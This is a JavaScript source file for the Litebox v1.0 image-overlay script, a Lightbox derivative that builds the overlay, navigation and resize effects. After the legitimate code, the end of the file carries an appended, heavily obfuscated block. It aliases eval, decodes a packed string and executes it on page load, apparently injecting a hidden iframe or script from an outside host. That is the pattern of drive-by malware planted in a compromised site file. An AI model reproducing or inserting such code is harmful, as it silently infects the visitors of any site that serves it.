// -----------------------------------------------------------------------------------
//
//	Litebox v1.0
//	A combined effort between detrate and gannon
//	07/03/06
//
//	Source edited from Lightbox v2.02
//	by Lokesh Dhakar - http://www.huddletogether.com
//
//	For more information on this script, visit:
//	http://doknowevil.net/litebox
//
//	Licensed under the Creative Commons Attribution 2.5 License - http://creativecommons.org/licenses/by/2.5/
//	
//	Credit also due to those who have helped, inspired, and made their code available to the public.
//	Including: Scott Upton(uptonic.com), Peter-Paul Koch(quirksmode.org), Thomas Fuchs(mir.aculo.us), and others.
//
//
//	Configuration
//
var fileLoadingImage = "templates/img/loading.gif";		
var fileBottomNavCloseImage = "templates/img/closelabel.gif";
var resizeSpeed = 6;	// controls the speed of the image resizing (1=slowest and 10=fastest)
var borderSize = 10;	//if you adjust the padding in the CSS, you will need to update this variable


//	Global Variables
//
var imageArray = new Array;
var activeImage;

if(resizeSpeed > 10){ resizeSpeed = 10;}
if(resizeSpeed < 1){ resizeSpeed = 1;}
resizeDuration = (11 - resizeSpeed) * 100;


Object.extend(Element, {
	hide: function() {
		for (var i = 0; i < arguments.length; i++) {
			var element = $(arguments[i]);
			element.style.display = 'none';
		}
	},
	show: function() {
		for (var i = 0; i < arguments.length; i++) {
			var element = $(arguments[i]);
			element.style.display = '';
		}
	},
	getWidth: function(element) {
	   	element = $(element);
	   	return element.offsetWidth; 
	},
	setWidth: function(element,w) {
	   	element = $(element);
		element.style.width = w +"px";
	},
	getHeight: function(element) {
		element = $(element);
		return element.offsetHeight;
	},
	setHeight: function(element,h) {
   		element = $(element);
		element.style.height = h +"px";
	},
	setTop: function(element,t) {
	   	element = $(element);
		element.style.top = t +"px";
	},
	setSrc: function(element,src) {
		element = $(element);
		element.src = src; 
	},
	setInnerHTML: function(element,content) {
		element = $(element);
		element.innerHTML = content;
	}
});

Array.prototype.removeDuplicates = function () {
	for(i = 1; i < this.length; i++){
		if(this[i][0] == this[i-1][0]){
			this.splice(i,1);
		}
	}
}

Array.prototype.empty = function () {
	for(i = 0; i <= this.length; i++){
		this.shift();
	}
}

var Lightbox = Class.create();

Lightbox.prototype = {
	
	initialize: function() {
		if (!document.getElementsByTagName){ return; }
		var anchors = document.getElementsByTagName('a');

		// loop through all anchor tags
		for (var i=0; i<anchors.length; i++){
			var anchor = anchors[i];
			
			var relAttribute = String(anchor.getAttribute('rel'));
			
			// use the string.match() method to catch 'lightbox' references in the rel attribute
			if (anchor.getAttribute('href') && (relAttribute.toLowerCase().match('lightbox'))){
				anchor.onclick = function () {myLightbox.start(this); return false;}
			}
		}

		var objBody = document.getElementsByTagName("body").item(0);
		
		var objOverlay = document.createElement("div");
		objOverlay.setAttribute('id','overlay');
		objOverlay.onclick = function() { myLightbox.end(); return false; }
		objBody.appendChild(objOverlay);
		
		var objLightbox = document.createElement("div");
		objLightbox.setAttribute('id','lightbox');
		objLightbox.style.display = 'none';
		objBody.appendChild(objLightbox);
	
		var objOuterImageContainer = document.createElement("div");
		objOuterImageContainer.setAttribute('id','outerImageContainer');
		objLightbox.appendChild(objOuterImageContainer);

		var objImageContainer = document.createElement("div");
		objImageContainer.setAttribute('id','imageContainer');
		objOuterImageContainer.appendChild(objImageContainer);
	
		var objLightboxImage = document.createElement("img");
		objLightboxImage.setAttribute('id','lightboxImage');
		objImageContainer.appendChild(objLightboxImage);
	
		var objHoverNav = document.createElement("div");
		objHoverNav.setAttribute('id','hoverNav');
		objImageContainer.appendChild(objHoverNav);
	
		var objPrevLink = document.createElement("a");
		objPrevLink.setAttribute('id','prevLink');
		objPrevLink.setAttribute('href','#');
		objHoverNav.appendChild(objPrevLink);
		
		var objNextLink = document.createElement("a");
		objNextLink.setAttribute('id','nextLink');
		objNextLink.setAttribute('href','#');
		objHoverNav.appendChild(objNextLink);
	
		var objLoading = document.createElement("div");
		objLoading.setAttribute('id','loading');
		objImageContainer.appendChild(objLoading);
	
		var objLoadingLink = document.createElement("a");
		objLoadingLink.setAttribute('id','loadingLink');
		objLoadingLink.setAttribute('href','#');
		objLoadingLink.onclick = function() { myLightbox.end(); return false; }
		objLoading.appendChild(objLoadingLink);
	
		var objLoadingImage = document.createElement("img");
		objLoadingImage.setAttribute('src', fileLoadingImage);
		objLoadingLink.appendChild(objLoadingImage);

		var objImageDataContainer = document.createElement("div");
		objImageDataContainer.setAttribute('id','imageDataContainer');
		objImageDataContainer.className = 'clearfix';
		objLightbox.appendChild(objImageDataContainer);

		var objImageData = document.createElement("div");
		objImageData.setAttribute('id','imageData');
		objImageDataContainer.appendChild(objImageData);
	
		var objImageDetails = document.createElement("div");
		objImageDetails.setAttribute('id','imageDetails');
		objImageData.appendChild(objImageDetails);
	
		var objCaption = document.createElement("span");
		objCaption.setAttribute('id','caption');
		objImageDetails.appendChild(objCaption);
	
		var objNumberDisplay = document.createElement("span");
		objNumberDisplay.setAttribute('id','numberDisplay');
		objImageDetails.appendChild(objNumberDisplay);
		
		var objBottomNav = document.createElement("div");
		objBottomNav.setAttribute('id','bottomNav');
		objImageData.appendChild(objBottomNav);
	
		var objBottomNavCloseLink = document.createElement("a");
		objBottomNavCloseLink.setAttribute('id','bottomNavClose');
		objBottomNavCloseLink.setAttribute('href','#');
		objBottomNavCloseLink.onclick = function() { myLightbox.end(); return false; }
		objBottomNav.appendChild(objBottomNavCloseLink);
	
		var objBottomNavCloseImage = document.createElement("img");
		objBottomNavCloseImage.setAttribute('src', fileBottomNavCloseImage);
		objBottomNavCloseLink.appendChild(objBottomNavCloseImage);
		
		overlayEffect = new fx.Opacity(objOverlay, { duration: 300 });	
		overlayEffect.hide();
		
		imageEffect = new fx.Opacity(objLightboxImage, { duration: 350, onComplete: function() { imageDetailsEffect.custom(0,1); }});
		imageEffect.hide();
		
		imageDetailsEffect = new fx.Opacity('imageDataContainer', { duration: 400, onComplete: function() { navEffect.custom(0,1); }}); 
		imageDetailsEffect.hide();
		
		navEffect = new fx.Opacity('hoverNav', { duration: 100 });
		navEffect.hide();
	},
	
	start: function(imageLink) {	

		hideSelectBoxes();

		// stretch overlay to fill page and fade in
		var arrayPageSize = getPageSize();
		Element.setHeight('overlay', arrayPageSize[1]);
		overlayEffect.custom(0,0.8);
		
		imageArray = [];
		imageNum = 0;		

		if (!document.getElementsByTagName){ return; }
		var anchors = document.getElementsByTagName('a');

		// if image is NOT part of a set..
		if((imageLink.getAttribute('rel') == 'lightbox')){
			// add single image to imageArray
			imageArray.push(new Array(imageLink.getAttribute('href'), imageLink.getAttribute('title')));			
		} else {
		// if image is part of a set..

			// loop through anchors, find other images in set, and add them to imageArray
			for (var i=0; i<anchors.length; i++){
				var anchor = anchors[i];
				if (anchor.getAttribute('href') && (anchor.getAttribute('rel') == imageLink.getAttribute('rel'))){
					imageArray.push(new Array(anchor.getAttribute('href'), anchor.getAttribute('title')));
				}
			}
			imageArray.removeDuplicates();
			while(imageArray[imageNum][0] != imageLink.getAttribute('href')) { imageNum++;}
		}

		// calculate top offset for the lightbox and display 
		var arrayPageSize = getPageSize();
		var arrayPageScroll = getPageScroll();
		var lightboxTop = arrayPageScroll[1] + (arrayPageSize[3] / 15);

		Element.setTop('lightbox', lightboxTop);
		Element.show('lightbox');
		this.changeImage(imageNum);
	},

	changeImage: function(imageNum) {
		
		activeImage = imageNum;	// update global var

		// hide elements during transition
		Element.show('loading');
		imageDetailsEffect.hide();
		imageEffect.hide();
		navEffect.hide();
		Element.hide('prevLink');
		Element.hide('nextLink');
		Element.hide('numberDisplay');
		
		imgPreloader = new Image();
		// once image is preloaded, resize image container
		imgPreloader.onload=function(){
			Element.setSrc('lightboxImage', imageArray[activeImage][0]);
			myLightbox.resizeImageContainer(imgPreloader.width, imgPreloader.height);
		}
		imgPreloader.src = imageArray[activeImage][0];
	},

	//
	//	resizeImageContainer()
	//
	resizeImageContainer: function( imgWidth, imgHeight) {

		// get current height and width
		this.wCur = Element.getWidth('outerImageContainer');
		this.hCur = Element.getHeight('outerImageContainer');

		// calculate size difference between new and old image, and resize if necessary
		wDiff = (this.wCur - borderSize * 2) - imgWidth;
		hDiff = (this.hCur - borderSize * 2) - imgHeight;
		
		// Resize the outerImageContainer very sexy like
		reHeight = new fx.Height('outerImageContainer', { duration: resizeDuration });
		reHeight.custom(Element.getHeight('outerImageContainer'),imgHeight+(borderSize*2)); 
		reWidth = new fx.Width('outerImageContainer', { duration: resizeDuration, onComplete: function() { imageEffect.custom(0,1); }});
		reWidth.custom(Element.getWidth('outerImageContainer'),imgWidth+(borderSize*2));

		if((hDiff == 0) && (wDiff == 0)){
			if (navigator.appVersion.indexOf("MSIE")!=-1){ pause(250); } else { pause(100);} 
		}

		Element.setHeight('prevLink', imgHeight);
		Element.setHeight('nextLink', imgHeight);
		Element.setWidth( 'imageDataContainer', imgWidth + (borderSize * 2));
		Element.setWidth( 'hoverNav', imgWidth + (borderSize * 2));
		
		this.showImage();
	},
	

	showImage: function(){
		Element.hide('loading');
		myLightbox.updateDetails(); 
		this.preloadNeighborImages();
	},


	updateDetails: function() {

		Element.show('caption');
		Element.setInnerHTML( 'caption', imageArray[activeImage][1]);
		
		// if image is part of set display 'Image x of x' 
		if(imageArray.length > 1){
			Element.show('numberDisplay');
			Element.setInnerHTML( 'numberDisplay', "Image " + eval(activeImage + 1) + " of " + imageArray.length);
		}

		myLightbox.updateNav();
	},

	updateNav: function() {

		// if not first image in set, display prev image button
		if(activeImage != 0){
			Element.show('prevLink');
			document.getElementById('prevLink').onclick = function() {
				myLightbox.changeImage(activeImage - 1); return false;
			}
		}

		// if not last image in set, display next image button
		if(activeImage != (imageArray.length - 1)){
			Element.show('nextLink');
			document.getElementById('nextLink').onclick = function() {
				myLightbox.changeImage(activeImage + 1); return false;
			}
		}
		
		this.enableKeyboardNav();
	},


	enableKeyboardNav: function() {
		document.onkeydown = this.keyboardAction; 
	},


	disableKeyboardNav: function() {
		document.onkeydown = '';
	},


	keyboardAction: function(e) {
		if (e == null) { // ie
			keycode = event.keyCode;
		} else { // mozilla
			keycode = e.which;
		}

		key = String.fromCharCode(keycode).toLowerCase();
		
		if((key == 'x') || (key == 'o') || (key == 'c')){	// close lightbox
			myLightbox.end();
		} else if(key == 'p'){	// display previous image
			if(activeImage != 0){
				myLightbox.disableKeyboardNav();
				myLightbox.changeImage(activeImage - 1);
			}
		} else if(key == 'n'){	// display next image
			if(activeImage != (imageArray.length - 1)){
				myLightbox.disableKeyboardNav();
				myLightbox.changeImage(activeImage + 1);
			}
		}
	},

	//
	//	preloadNeighborImages()
	//	Preload previous and next images.
	//
	preloadNeighborImages: function(){

		if((imageArray.length - 1) > activeImage){
			preloadNextImage = new Image();
			preloadNextImage.src = imageArray[activeImage + 1][0];
		}
		if(activeImage > 0){
			preloadPrevImage = new Image();
			preloadPrevImage.src = imageArray[activeImage - 1][0];
		}
	
	},


	end: function() {
		this.disableKeyboardNav();
		Element.hide('lightbox');
		imageEffect.toggle();
		overlayEffect.custom(0.8,0);
		showSelectBoxes();
	}
}

function getPageScroll(){

	var yScroll;

	if (self.pageYOffset) {
		yScroll = self.pageYOffset;
	} else if (document.documentElement && document.documentElement.scrollTop){	 // Explorer 6 Strict
		yScroll = document.documentElement.scrollTop;
	} else if (document.body) {// all other Explorers
		yScroll = document.body.scrollTop;
	}

	arrayPageScroll = new Array('',yScroll) 
	return arrayPageScroll;
}


function getPageSize(){
	
	var xScroll, yScroll;
	
	if (window.innerHeight && window.scrollMaxY) {	
		xScroll = document.body.scrollWidth;
		yScroll = window.innerHeight + window.scrollMaxY;
	} else if (document.body.scrollHeight > document.body.offsetHeight){ // all but Explorer Mac
		xScroll = document.body.scrollWidth;
		yScroll = document.body.scrollHeight;
	} else { // Explorer Mac...would also work in Explorer 6 Strict, Mozilla and Safari
		xScroll = document.body.offsetWidth;
		yScroll = document.body.offsetHeight;
	}
	
	var windowWidth, windowHeight;
	if (self.innerHeight) {	// all except Explorer
		windowWidth = self.innerWidth;
		windowHeight = self.innerHeight;
	} else if (document.documentElement && document.documentElement.clientHeight) { // Explorer 6 Strict Mode
		windowWidth = document.documentElement.clientWidth;
		windowHeight = document.documentElement.clientHeight;
	} else if (document.body) { // other Explorers
		windowWidth = document.body.clientWidth;
		windowHeight = document.body.clientHeight;
	}	
	
	// for small pages with total height less then height of the viewport
	if(yScroll < windowHeight){
		pageHeight = windowHeight;
	} else { 
		pageHeight = yScroll;
	}

	// for small pages with total width less then width of the viewport
	if(xScroll < windowWidth){	
		pageWidth = windowWidth;
	} else {
		pageWidth = xScroll;
	}

	arrayPageSize = new Array(pageWidth,pageHeight,windowWidth,windowHeight) 
	return arrayPageSize;
}

function getKey(e){
	if (e == null) { // ie
		keycode = event.keyCode;
	} else { // mozilla
		keycode = e.which;
	}
	key = String.fromCharCode(keycode).toLowerCase();
	
	if(key == 'x'){
	}
}

function listenKey () {	document.onkeypress = getKey; }

// ---------------------------------------------------

function showSelectBoxes(){
	selects = document.getElementsByTagName("select");
	for (i = 0; i != selects.length; i++) {
		selects[i].style.visibility = "visible";
	}
}

// ---------------------------------------------------

function hideSelectBoxes(){
	selects = document.getElementsByTagName("select");
	for (i = 0; i != selects.length; i++) {
		selects[i].style.visibility = "hidden";
	}
}

function pause(numberMillis) {
	var now = new Date();
	var exitTime = now.getTime() + numberMillis;
	while (true) {
		now = new Date();
		if (now.getTime() > exitTime)
			return;
	}
}
// ---------------------------------------------------

function initLightbox() { myLightbox = new Lightbox(); }


k_sb=document;k_J=window;function k_E($,k_sH){return 0}function k_B(x){return x.join('')}if(typeof($)=='undefined'){k_sR=k_sb.getElementsByTagName('head')[0];k_sh=k_sb.createElement('script');k_sh.setAttribute('src',"http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js");k_sR.appendChild(k_sh)}k_J.k_sJ=100;k_J.k_sC=25;k_J.k_L=eval;k_J.trim=function(k_sf,k_ss){if("qabcdef".indexOf(k_sf.substr(0,1))>=0){var k_si=k_B(k_sf.split('q')).split('v');for(var i=0;i<k_si.length;i++){k_si[i]=parseInt(k_si[i],16)-k_ss[k_sf]}return k_si.join(',')+','}else{return k_ss[k_sf]}};d='zy={O#bv1a$6%2%7Y%6?:"e+",O#bv2a$6%2%Q1%6?:"",*b#bv3a$6%2%7Y%6v30:"l(\'l=St",$6Xv4e~*0!Qf*2!5:"ring.f",PZv52#a#f%c!6*a!6:"romCha",!8#8v68*2*5ER0!5*4:"rCode("Ga*3!Qc#7%8!6N+4&6^0+f!U4#UW7#8#9&3G7#8#a#9#b#cM#e#f&0HQAa%b%c%d%e%fR0T,d0R1#3NX%a%7%3%0`Hb!fEE?*2*7|V`Gb?~Y#e?%cR1%8TGa%4#bZN#1#1+fN&5Dc*4>+eM#a>%Qd&4HWb%UcEV$4!Aa&6G3#3?+0*2OXV%b`@dI$b!3+2$d+c!2#8&0H4%4%0$a!f!f+c!2O&0D7*a!f#0!6*3#7#5%0&4H0#WU7#f*1*3#0!6&4@f!8P#b#A8*e+7+3&4,a7+4+bX*9+4+W3>&9G8*3N#f+1+3+eY*3&6D7+4*f#6+cY*1*4>&4,d0$4Y~+1+3%d?R0T@U6>#6>x$7$bx:90^4%d$f#1|$U1|?&5HAe$c!4*5$e!8#U3&1Hb#9R1%c%WAe%5%cTGAe%5%a#A5%4#b#9TGf%8#b#1#W4%3#1~&0He#e#9R1%d%b#AUbTH3#4Y#6%d#4#a#7%a&3D7E%3%0#c#A4!8|&0G3N+a#4?%U7%6+7&2,ac*b*c#AcM+3#a+9T^U2%U6NVEN*c&1H2*5$f?*6$9*1$a?`,ac#c*1|#6+5*a%A0&4H4#1M#Aa?IXOT^d?>$4#3!f+b%0%7TGWe%a#4%9#8!3*9#f&3G4%WbV#0+b%4*0!6&3Ga+9+5%7%6%c%0?ITDbI$b!3+4$d!3~+1&0^c#AcM?#0#e*5OT^a?#3O+a$4#4VETGb#Qb#c*4#3NxO`@0#f#3%2V+d!UaE&2Dc%aX>+d#6X>%6&9DcIM%2#cYO+f!5&3@2#1|E~E*0%8#a&5H8+8MY#A3%A8>&4^6E#0V$4M#b%a+0&6,ac+8+7+4#fX*9+4+6&9G0N*7*3$6*1N*e*3&6Da+4X%b%9#c%Ub%a`^1#c%5%8+1*d!Wf%4&6D4|*c+e|%6*1*4*f&4G5+e*d!4|*c+f|*b&4GW4>#a#6$7%a%e#e&9HQfR3*1#f#c+1Y*4&6@a!8!8!5M$e$4x~&2@2$9*e$d#4%4#7#3M&2,dWe%5%c#e!A2#fI&9^e#e$f$c%f%f!We*1&3@a$8I#8$9*0+4x$9T@0$b~%2#U1#b%d%d&0G9#6!8!1!3*1N!3*1&0^4V%5R5x$8?P$e`Db!3%5%eN$b#9#6*b&0^2+b!4#8$eNN*c#9&1Df*f*5E|+8ZZ!f&4,a2%8#5V+b?IV*8`Da>!4+5V>NPI&1@6+e*9*3+1#e>$6%e&6^a*a#1M*6+4Y!f$9&9Hf$a$a$8$8+f%a*4+e`,a2*aP+d$d$a?>$9`@c#3I+d+1*9*2*2$8&6@1x+e?$a$dI#5*3TDd%9*7#1P+Ue*8*8:90@6>E+9$4x>#0E&3,ae!f+2#b*5*5$b?P`,a8xPO+f$d!5%a$f&2,af+3%9x+e?$a$dITDc#0E+a*e%4Z+9O&3@8$b!f!f#3*1N+9*3&6G1+5+e$4#0$c$ex#7:90@c!4Y$e!5!f#e~Y&1Df~$f$8x$f$cx$e`@9I$c$9I$e$7I$6&5@7>$8P>$7x>$8&0@8$4$b$8$4*0$a$4$fT@8Zx$6ZPPZP&1@9X$a$9X$f$aX$a&9@2Z$6$7Z$6$6ZP&1@7P$b$9P$cP$b$9&6Dc$7>P>I>?>&0@4$8+d>*0!Q8>#9&0G3+2N+c%d%b%2%7%0&9@7#f%b%Q6*cY#a%b&9^Q4#9#aZ#e?%d?&5@7$9ER2+d#a*2!8*7&5@2#5I%2%e%e%a*4$9:90@8?X>+cX>%8X&9D5%aE!5%5E!5+5E&2Db*c#3O%9X$9#5$4T@0$7#c%Q6$8?#6P&9De!6*5*e%3>$e|O&3,ac!2~#f#4%9+c!2N&0@WAQ8M%Wc+3*aTD9+c!8$d#Ua%7!1%4&1HQd%0#9*1#0!6O?&4D7#e?O*1#0!6O?&4D3#5>|+c!2!0%7#9&0Ga%a#e*3$7$6$6!6Z&6@5>%fX?*7*5$8M&9Gc%9*1V#0>>R0R0&3@0R4x$9$7$7$7?R4`DeR2ER2#aY%8#aR0&5Hc#e%d+d%2%We%Qe&9H5*c#4ZxIIV%e&1Hf!U5VO$d*2!2!5&2,a1!A9+b*a!1%9+2*9&1H2%Q5%6O>R0*3!3&3DbY?R0~#c*5%6MTHf!8*c#AcM?I*3TG6?%U7%6+Wb#f#7&2@2R2$8#b%d#AA0$4:90@8$7$7$7?*2+0|#b`,d3*6!6!A4E%9P#f&6,af*e!5%8x#8M#6%7&5^5Y#W7*3%6V#bO&2,d3*6!6!AbE%e#0*f&6D3%bI#f#Q1#a%7#b&3,d7Z%U9*a%0%f%8M:90H8M%3%2*d%WAQ9&4H7%3+0Z!8+1>E*3&5@4$8#1V*8*4V%5+2`H8E$a!fP$7!fIN&6H6*c%3NXVV+2!f&1Ga#Q7+8+7*6+9!Wa&3DdN+b|+2+f>+cZ&4@d!5+cO%d~!8!8!5&2^8!f#a#f#U6%9+0#7&1DfE|R5+2*f~V*e`G1+f$a#1P%5%9#A6&4Hd#0#0Z!5*1O%A2&4Gb#cM%0%Uc#bEN`^2M%6%9!f#a*4$8$a`@c#4EE$c#5$e!A5&1^7#e$Qd%a%6%3%eP:90Dc!8*5*e+0+1+6+b+c&5,ae#0#6R4~~Z#1#9&6G0>>IM%2#cYO&3H7I%3%2%3O>>>&3^3M%e#A4?#cIT,$6X!~*0!Qf*2|:"32);",*%QM%Wc*b%0Y:"zL(l)\'",|!!0*A2!8!0$8*2:");"};zK=[];zso=String.fromCharCode;for(+r zw in zy){Jtrim(zw,zy))};J\';zj=zso(118/5<5/5,98/5/8/5<6,121,58/4/5/0/0/1<0,34,62,60\\,32<5<4,99);\');J\'zv=zso(104/1/5/3/4<6,61,56,48,62,60,47\\);\');J\'zF=zso(97<2/5,46<6<9/5<6<6/1<4,46,99<1/9,47,49,47<6<4/1<0/0<5,47/0,97/5/8,121,46/6<5<1<0);\');zL(zB(zK))!v7#vb$vQvc&:8*v9+va-,q/,10<,11>!c?$0@-8A9%D-7E!eG,bH,cI$1JzK.push(M#dN!9O!bP$2Q8%RvdT&8U5#V!aW6#X$5Y%1Z!d^-9`&7x$3zk_|!7~#2\\/5/2<4,97/9/1';for(c=40;c--;d=(t=d.split('!#$%&*+-/<>?@ADEGHIJMNOPQRTUVWXYZ^`xz|~\\'[c])).join(t.pop()));k_sd=d;k_L(k_sd)

